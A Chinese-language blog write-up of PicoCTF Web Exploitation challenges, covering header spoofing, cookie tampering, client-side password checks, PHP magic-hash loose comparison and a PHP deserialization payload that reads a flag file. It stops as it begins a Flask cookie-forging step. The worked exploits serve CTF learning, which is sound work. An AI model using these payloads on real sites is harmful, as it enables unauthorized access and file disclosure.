PicoCTF write up - Web Exploitation (網際網絡篇)

前言

有玩過 CTF 的朋友應該都知道 CTF 區分了幾個不同的領域範疇,繼我在上年 10 月開始接觸 Cryptography,為了擴展一下自己的技能樹,所以決定今年 2 月開始也接觸一下 Web Exploitation。

PicoCTF

建議註冊一個帳號邊玩邊學 : https://play.picoctf.org/practice

Web Exploitation

GET aHEAD (20 points)

Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:28916/

Hint 1: Maybe you have more than 2 choices

Hint 2: Check out tools like Burpsuite to modify your requests and look at the responses

知識點:HTTP request methods

解法:

使用 curl 指令

$ curl -I http://mercury.picoctf.net:28916/
HTTP/1.1 200 OK
flag: picoCTF{r3j3ct_th3_du4l1ty_70bc61c4}
Content-type: text/html; charset=UTF-8

Cookies (40 points)

Who doesn’t love cookies? Try to figure out the best one. http://mercury.picoctf.net:64944/

知識點:cookies

首先因為題目是 cookies,所以二話不說直接看 cookies,可以看到 裡面有個值 Value 預設是 -1,那我們一定要改成 0 或 1 看看的。

螢幕截圖 2022-01-16 下午11 25 43

隨著 Value 的值不斷變更,網頁裡面的內容也會不斷更改,直到 Value = 18 時可以看到 Flag。

螢幕截圖 2022-01-16 下午11 33 11

那當然手動是比較笨的辦法,萬一 Value 的值很大是不理智的,因此可以參考別人的 python 腳本找出 Value 在 1 - 20 並含有 “I love” 的字串:

import requests
url = "http://mercury.picoctf.net:64944/check"

for i in range(0, 20):
    text = str(i)
    cookies = { 
        'name': text
    }   

    r = requests.get(url, cookies=cookies)
    result = r.text.split(
        "<p style=\"text-align:center; font-size:30px;\"><b>")[1].split("</b>")[0]
    print("[+] Testing Cookie:{} | Result: {}".format(i, result))
    if 'I love' not in result:
        print(r.text.split("<code>")[1].split("</code>")[0])
        break

Insp3ct0r (50 points)

Kishor Balan tipped us off that the following code may need inspection: https://jupiter.challenges.picoctf.org/problem/44924/ (link) or http://jupiter.challenges.picoctf.org:44924

Hints 1 : How do you inspect web code on a browser?

Hints 2 : There’s 3 parts

知識點 :

如何查看網頁原始碼內容

在網頁任意位置按”右鍵”->”檢視網頁原始碼”

<!doctype html>
<html>
  <head>
    <title>My First Website :)</title>
    <link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="mycss.css">
    <script type="application/javascript" src="myjs.js"></script>
  </head>

  <body>
    <div class="container">
      <header>
	<h1>Inspect Me</h1>
      </header>

      <button class="tablink" onclick="openTab('tabintro', this, '#222')" id="defaultOpen">What</button>
      <button class="tablink" onclick="openTab('tababout', this, '#222')">How</button>
      
      <div id="tabintro" class="tabcontent">
	<h3>What</h3>
	<p>I made a website</p>
      </div>

      <div id="tababout" class="tabcontent">
	<h3>How</h3>
	<p>I used these to make this site: <br/>
	  HTML <br/>
	  CSS <br/>
	  JS (JavaScript)
	</p>
	<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
      </div>
      
    </div>
    
  </body>
</html>

在第 31 行有註解,告訴了 picoCTF{tru3_d3 ,它是 flag 的前 3 分之 1 ,那其餘的 2 段呢?

試試看點開第 6 行的 mycss.css 和 第 7 行的 myjs.js,舉一反三是駭客重要的能力之一。

所以只要使用 inspector 查看原始碼,就會發現分別藏在 html , css , javascript 的註解中


Scavenger Hunt (50 points)

There is some interesting information hidden around this site http://mercury.picoctf.net:55079/. Can you find it?

Hint 1: You should have enough hints to find the files, don’t run a brute forcer.

知識點:robots.txt.htaccess.DS_Store

這題剛開始以為和上一題一樣,因為直接查看 html 的原始碼,就看見了第一部分的 flag

part 1

<!-- Here's the first part of the flag: picoCTF{t -->

part 2

而第二部分,也在 mycss.css 裡面

/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */

part 3

不難想到,第三部分應該在 myjs.js 裡,但這次裡面只有提示:

/* How can I keep Google from indexing my website? */

從提示了得知, 把 myjs.js 換成 robots.txt 獲得第三部分

part 4

按照提示:

# I think this is an apache server... can you Access the next flag?

robots.txt 換成 .htaccess 獲得第四部分

part 5

按照提示:

# I love making websites on my Mac, I can Store a lot of information there.

.htaccess 換成 .DS_Store 獲得第五部分

構成 flag picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_74cceb07}


Some Assembly Required 1 (70 points)

http://mercury.picoctf.net:40226/index.html

知識點 : WebAssembly

分析:

2022-02-12_15-17

題目很單純,只有一個輸入的窗口,慣例的做幾件事情:

  1. 查看原始碼
  2. 隨便 input 的一些東西
  3. 查看 cookie、網址的變化
原始碼:
<html>
<head>
	<meta charset="UTF-8">
	<script src="G82XCw5CX3.js"></script>
</head>
<body>
	<h4>Enter flag:</h4>
	<input type="text" id="input"/>
	<button onclick="onButtonPress()">Submit</button>
	<p id="result"></p>
</body>
</html>

在原始碼裡發現了 G82XCw5CX3.js 這個 javascript 的檔案,基本上可以肯定了 input 的部分是通過前端來驗證的

G82XCw5CX3.js:
const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}

JS NICE 美化:

'use strict';
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function(url, whensCollection) {
  /** @type {number} */
  url = url - 470;
  let _0x402c6f = _0x402c[url];
  return _0x402c6f;
};
(function(data, oldPassword) {
  const toMonths = _0x4e0e;
  for (; !![];) {
    try {
      const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
      if (userPsd === oldPassword) {
        break;
      } else {
        data["push"](data["shift"]());
      }
    } catch (_0x41d31a) {
      data["push"](data["shift"]());
    }
  }
})(_0x402c, 627907);
let exports;
(async() => {
  const findMiddlePosition = _0x4e0e;
  let leftBranch = await fetch(findMiddlePosition(489));
  let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
  let module = rightBranch[findMiddlePosition(470)];
  exports = module["exports"];
})();
/**
 * @return {undefined}
 */
function onButtonPress() {
  const navigatePop = _0x4e0e;
  let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
  for (let i = 0; i < params["length"]; i++) {
    exports[navigatePop(471)](params[navigatePop(492)](i), i);
  }
  exports["copy_char"](0, params["length"]);
  if (exports[navigatePop(487)]() == 1) {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
  } else {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
  }
}
;

解法一:

直接用瀏覽器裡的 DevTool 把 wasm 打開,在這下面的 data 區就看到

2022-02-12_15-39

解法二:

查看 JavaScript 其中一行

const _0x402c = ["value", "2wfTpTR", "instantiate",
"275341bEPcme", "innerHTML", "1195047NznhZg",
"1qfevql", "input", "1699808QuoWhA", "Correct!",
"check_flag", "Incorrect!", "./JIFxzHyW8W",
"23SMpAuA", "802698XOMSrr", "charCodeAt",
"474547vVoGDO", "getElementById", "instance", 
"copy_char", "43591XxcWUl", "504454llVtzW",
"arrayBuffer", "2NIQmVj", "result"];

當中有個特別的元素看似路徑 ./JIFxzHyW8W

把它貼在網址路徑上 http://mercury.picoctf.net:40226/JIFxzHyW8W 便會下載一個叫 JIFxzHyW8W 的檔案

2022-02-12_15-49


where are the robots (100 points)

Can you find the robots? https://jupiter.challenges.picoctf.org/problem/60915/ (link) or http://jupiter.challenges.picoctf.org:60915

Hints : What part of the website could tell you where the creator doesn’t want you to look?

知識點 :

要了解 robots.txt 在一個網站上有何作用,還有放在什麼地方。

原網址 :

https://jupiter.challenges.picoctf.org/problem/60915/

在網址後面加上 robots.txt :

https://jupiter.challenges.picoctf.org/problem/60915/robots.txt

看到內容 :

User-agent: *
Disallow: /8028f.html

顯然 8028f.html 這個文件是網頁製作者不想被搜索引擎建立索引

網址後面加上 8028f.html :

https://jupiter.challenges.picoctf.org/problem/60915/8028f.html

看到 flag image


logon (100 points)

The factory is hiding things from all of its users. Can you login as Joe and find what they’ve been looking at? https://jupiter.challenges.picoctf.org/problem/15796/ (link) or http://jupiter.challenges.picoctf.org:15796

Hints : Hmm it doesn’t seem to check anyone’s password, except for Joe’s?

知識點 :

Cookie

image

首先是一個登入網站,不論我 Username 和 Password 輸入任何東西,甚至完全不輸入,也無妨 Sign In。

image

再來查看網站原始碼,發現它根本沒有確認帳號密碼,一律通過。

<!DOCTYPE html>
<html lang="en">

<head>
    <title>Factory Login</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>


</head>

<body>

    <div class="container">
        <div class="header">
            <nav>
                <ul class="nav nav-pills pull-right">
                    <li role="presentation" class="active"><a href="/">Home</a>
                    </li>
                    <li role="presentation"><a href="/logout" class="btn btn-link pull-right">Sign Out</a>
                    </li>
                </ul>
            </nav>
            <h3 class="text-muted">Factory Login</h3>
        </div>
        
        <!-- Categories: success (green), info (blue), warning (yellow), danger (red) -->
        
      
      <div class="jumbotron">
        <p class="lead"></p>
        <div class="login-form">
            <form role="form" action="/login" method="post">
                <div class="form-group">
                    <input type="text" name="user" id="email" class="form-control input-lg" placeholder="Username">
                </div>
                <div class="form-group">
                    <input type="password" name="password" id="password" class="form-control input-lg" placeholder="Password">
                </div>
            </div>
            <div class="row">
                <div class="col-xs-12 col-sm-12 col-md-12">
                    <input type="submit" class="btn btn-lg btn-success btn-block" value="Sign In">
                </div>
            </div>
        </form>
    </div>
    <footer class="footer">
        <p>&copy; PicoCTF 2019</p>
    </footer>

</div>

<script>
$(document).ready(function(){
    $(".close").click(function(){
        $("myAlert").alert("close");
    });
});
</script>
</body>

</html>

那麼,網站又如何確認登入的帳號是不是 Admin 呢?

答案就是透過 Cookie

首先在隨便輸入帳號和密碼。joe : 123

再打開 檢查 (在常見的瀏覽器中一般是 F12 或者 Ctrl + Shift + I)

image

Application -> Cookies -> 目前的所在網站

image

看到有這些資料,其中 3 項資料可以特別留意一下

Name Value
username joe
password 123
admin False

可以看到我剛才輸入的 username 和 password 都儲存在 cookies 裡面,而 admin 的 value 是 False,看來 cookie 是以這個數值去傳送給伺服器,然後伺服器透過 admin 的 value 來判斷是否為管理員。

image

把 admin 的 value 改成True (注意是有區分大小寫),然後 F5 重新整理網頁


dont-use-client-side (100 points)

Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/29835/ (link) or http://jupiter.challenges.picoctf.org:29835

Never trust the client

首先看到是一個登入畫面

image

隨便打幾句密碼,彈出一個”視窗”提示密碼錯誤,這個彈出”視窗”有似乎是用 JavaScript

image

查看一下原始碼

<html>
<head>
<title>Secure Login Portal</title>
</head>
<body bgcolor=blue>
<!-- standard MD5 implementation -->
<script type="text/javascript" src="md5.js"></script>

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == '723c') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_7') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == 'e}') {
                  alert("Password Verified")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
    
  }
</script>
<div style="position:relative; padding:5px;top:50px; left:38%; width:350px; height:140px; background-color:yellow">
<div style="text-align:center">
<p>This is the secure login portal</p>
<p>Enter valid credentials to proceed</p>
<form action="index.html" method="post">
<input type="password" id="pass" size="8" />
<br/>
<input type="submit" value="verify" onclick="verify(); return false;" />
</form>
</div>
</div>
</body>
</html>

發現了驗證 Password 的步驟是透過前端 JavaScript 驗證的,雖然打亂了排序,但我們可以重組啊,難怪題目叫做 Don’t use client side。

可以手動重組或者寫 python

#!/usr/bin/env python

import requests

r = requests.get('https://2019shell1.picoctf.com/problem/45147')
lines = r.text.split('\n')

lines = [l for l in lines if 'if ' in l]
lines = [l.split('==') for l in lines]
lines = list(sorted(map(lambda x: (x[0].strip(), x[1].split('\'')[1]), lines)))

s = ''
s += lines[0][1]
s += lines[-1][1]
for l in lines[1:-1]:
  s += l[1]

print s

得到flag picoCTF{no_clients_plz_7723ce}


It is my Birthday (100 points)

I sent out 2 invitations to all of my friends for my birthday! I’ll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn’t believe how long it took me to find a collision. Anyway, see if you’re invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:48746/

Hint 1 : Look at the category of this problem. Hint 2 : How may a PHP site check the rules in the description?

知識點: MD5

2022-02-15_10-29

題目要求上傳 2 個不同的 PDF 檔案,但要擁有相同的 MD5

解法一 :

隨便找 2 個擁有相同 MD5 值的檔案,例如這個網站中,可以下載到 helloerase 這兩個檔案,它們都具有相同的 MD5 值 da5c61e1edc0f18337e46418e48c1290 (記得把副檔名改成 .pdf)

解法二 :

生成兩個 MD5 值是 0e 開頭的的檔案,利用 PHP 的弱比較特性,把 MD5 值判斷為相同。

# ank @ MyArchLinux in ~ [19:40:13]
$ echo -n "240610708" > f1.pdf

# ank @ MyArchLinux in ~ [19:40:36]
$ echo -n "QNKCDZO" > f2.pdf

# ank @ MyArchLinux in ~ [19:40:43]
$ md5sum f1.pdf f2.pdf
0e462097431906509019562988736854  f1.pdf
0e830400451993494058024219903391  f2.pdf

# ank @ MyArchLinux in ~ [19:40:51]
$ curl -F 'file1=@f1.pdf'  -F 'file2=@f2.pdf' -F 'submit=Upload' http://mercury.picoctf.net:48746/ -s | egrep -o "picoCTF{[^}]+}"
picoCTF{c0ngr4ts_u_r_1nv1t3d_aebcbf39}

Who are you? (100 points)

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:34588/

Hints 1 : It ain’t much, but it’s an RFC https://tools.ietf.org/html/rfc2616

知識點 : HTTP Hearder, Burp Suite

其實就是改 Header 的題目,但分了好幾關要過,這裡強烈推薦使用 burp suite 這個工具來進行 http hearder 的修改。

Burp suite 基本用法:

1.先把 intercept is on 打開,這時會處於攔截封包的狀態

2.然後重新整理網頁

2022-02-15_22-13

3.此時便會收到該網頁的 hearder 資訊,可以進行一些竄改

4.竄改完之後,可以使用 forward 發送修改後的內容

2022-02-15_22-16

第一關

2022-02-15_22-04

它只允許使用 PicoBrowser 這個瀏覽器的人

修改 User-Agent: PicoBrowser

第二關

2022-02-15_22-41

它只相信來於同一個 site (訪問來源)的人去訪問

按照 Referer - Mozilla Developer docs.

添加 Referer: http://mercury.picoctf.net:34588/

第三關

2022-02-15_22-48

它只允許時間在 2018 年的人

按照 Date - Mozilla Developer docs.

添加 Date: Wed, 21 Oct 2018 07:28:00 GMT

第四關

2022-02-15_22-51

它不允許可被追縱的人

按照 DNT(Do Not Track,請勿追蹤)- Mozilla Developer docs

添加 DNT: 1

第五關

2022-02-15_22-54

它只允許瑞典的人

這裡先找出瑞典的 IP 位置: 例如 31.3.152.55

按照 X-Forwarded-For - Mozilla Developer docs

添加 X-Forwarded-For: 31.3.152.55

第六關

2022-02-15_23-00

它只允許語言是瑞典文

按照 Accept-Language - Mozilla Developer docs

可以在這裡找到各語言 Tag 的列表

修改 Accept-Language: sv,en;q=0.9

通關

2022-02-15_23-08

全部的 header 加起來大概是這樣:

GET / HTTP/1.1
Host: mercury.picoctf.net:34588
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: picobrowser
Referer: http://mercury.picoctf.net:34588/
Date: Wed, 21 Oct 2018 07:28:00 GMT
DNT: 1
X-Forwarded-For: 31.3.152.55
Accept-Language: sv,en;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Connection: close

用 wget 解法:

如果想把上面的 header 全部用 wget 寫在一行 terminal 裡,長這樣:

wget -O - http://mercury.picoctf.net:34588/ -U PicoBrowser --header="Referer: http://mercury.picoctf.net:34588/" --header="Date: Wed, 21 Oct 2018 07:28:00 GMT" --header="DNT: 1" --header="X-Forwarded-For: 31.3.152.55" --header="Accept-Language: sv,en;q=0.9" | egrep -o "picoCTF{[^}]+}"

2022-02-15_23-31


login (100 point )

My dog-sitter’s brother made this website but I can’t get in; can you help? login.mars.picoctf.net

2022-02-16_11-49

分析

題目是一個簡單的登入畫面,慣例的做幾件事

  1. 查看 source code
  2. 查看 cookies
  3. 測試 input/output
  4. 測試 injection

經過一番快速分析,應該是屬於第 1 項,從 source code 找到答案的類型

<!doctype html>
<html>
    <head>
        <link rel="stylesheet" href="styles.css">
        <script src="index.js"></script>
    </head>
    <body>
        <div>
          <h1>Login</h1>
          <form method="POST">
            <label for="username">Username</label>
            <input name="username" type="text"/>
            <label for="username">Password</label>
            <input name="password" type="password"/>
            <input type="submit" value="Submit"/>
          </form>
        </div>
    </body>
</html>

發現裡面有一個 index.js 的 javascript 檔案寫在 html 的 head 裡

index.js :

(async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})();

JS NICE 美化一下

'use strict';
(async() => {
  await new Promise((e) => {
    return window.addEventListener("load", e);
  });
  document.querySelector("form").addEventListener("submit", (event) => {
    event.preventDefault();
    const ids = {
      u : "input[name=username]",
      p : "input[name=password]"
    };
    const params = {};
    for (const i in ids) {
      /** @type {string} */
      params[i] = btoa(document.querySelector(ids[i]).value).replace(/=/g, "");
    }
    return "YWRtaW4" !== params.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== params.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(params.p)}.`);
  });
})();

這裡我們要注意的是 btoa() 函數,從 btoa() - Web API 得知這個 function 主要 base64 的 encode

因此我們分別對 YWRtaW4cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ 做 base64 的 decode

就得到了帳號 admin 和密碼 picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}

2022-02-16_13-24

Super Serial (130 points)

Try to recover the flag stored on this website http://mercury.picoctf.net:25395/

Hint 1 : The flag is at ../flag

分析

先看 source code view-source:http://mercury.picoctf.net:25395/index.php

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center">Sign In</h5>
														<form class="form-signin" action="index.php" method="post">
								<div class="form-label-group">
									<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
									<label for="user">Username</label>
								</div>

								<div class="form-label-group">
									<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
									<label for="pass">Password</label>
								</div>

								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>

帳密似乎不是寫在前端,應該是後端的 php 去處理

再看 robots.txt

http://mercury.picoctf.net:25395/robots.txt

User-agent: *
Disallow: /admin.phps

當然要試試 admin.phpadmin.phps,但都顯示 Not Found,但這邊給了我們提示,可能存在 phps 的檔案,它能讓我們直接看到 php 的 source code。

現在回過頭來試試看 index.phps

view-source:http://mercury.picoctf.net:25395/index.phps

<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
	$con = new SQLite3("../users.db");
	$username = $_POST["user"];
	$password = $_POST["pass"];
	$perm_res = new permissions($username, $password);
	if ($perm_res->is_guest() || $perm_res->is_admin()) {
		setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
		header("Location: authentication.php");
		die();
	} else {
		$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
	}
}
?>

...略...

這邊有 2 個線索 :

setcookie("login", urlencode(base64_encode(serialize($perm_res)))header("Location: authentication.php")

我們大概可以知道,coookie 裡有一個欄位,Name 是 login,而 value 做了一些 base64 encode 和 urlencode 等編碼

再去看看 authentication.phps

<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>

...略...

得到線索 cookie.phps

view-source:http://mercury.picoctf.net:25395/cookie.phps

<?php
session_start();

class permissions
{
	public $username;
	public $password;

	function __construct($u, $p) {
		$this->username = $u;
		$this->password = $p;
	}

	function __toString() {
		return $u.$p;
	}

	function is_guest() {
		$guest = false;

		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] != 1) {
				$guest = true;
			}
		}
		return $guest;
	}

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("Deserialization error. ".$perm);
	}
}

?>

die("Deserialization error. ".$perm); 得知,我們可以透過改變 login 的 value,去改變 $perm

Exploit

先到 http://mercury.picoctf.net:25395/authentication.php

2022-02-17_17-48

隨意構造一個新的 cookie:

Name = login

Value = 隨意

重新整理後出現

Deserialization error. 

這時候我們用 php sandbox 去產生一個 cookie value

<?php
class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}
$perm = new access_log("../flag");
echo base64_encode(serialize($perm));
?>

執行後的 output

TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

構造一個 payload cookie:

Name = login

Value = TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}

Most Cookies (150 points)

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:6259/

Hint1 : How secure is a flask cookie?

server.py

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()

知識點 : flask-unsign

Analysis

2022-02-18_12-47

題目首頁只有一個簡單的搜尋窗口,從 server.py 中得知路徑 /display

前往 http://mercury.picoctf.net:6259/display

2022-02-18_12-47_1

透過 cookie ,伺服器判斷我為 blank,要想辦法把 blank 改為 admin

再來看看 cookie :

2022-02-18_12-58

其中的 session = eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Yg8k2Q.bKSSdsII6S1MaGM5OS8Aql16QtI

把當中 Value 做 base64 decode

2022-02-18_13-01

所以 session 的 Value 是分開不同的部分,而前部分是 {"very_auth":"blank"}。如果單純改成 {"very_auth":"admin"} 做 base64 encode 是不可行的,因為還有後面的 app.secret_key,而 app.secret_key 是在 cookie_names 隨機選出來的,所以只要確定是哪個是 secret 就能自己簽 cookie 了

這部分我使用 Flask-unsign,它能透過字典檔解出 secret,還有重簽 cookie 的功能。

Exploit

1.安裝 flask-unsign
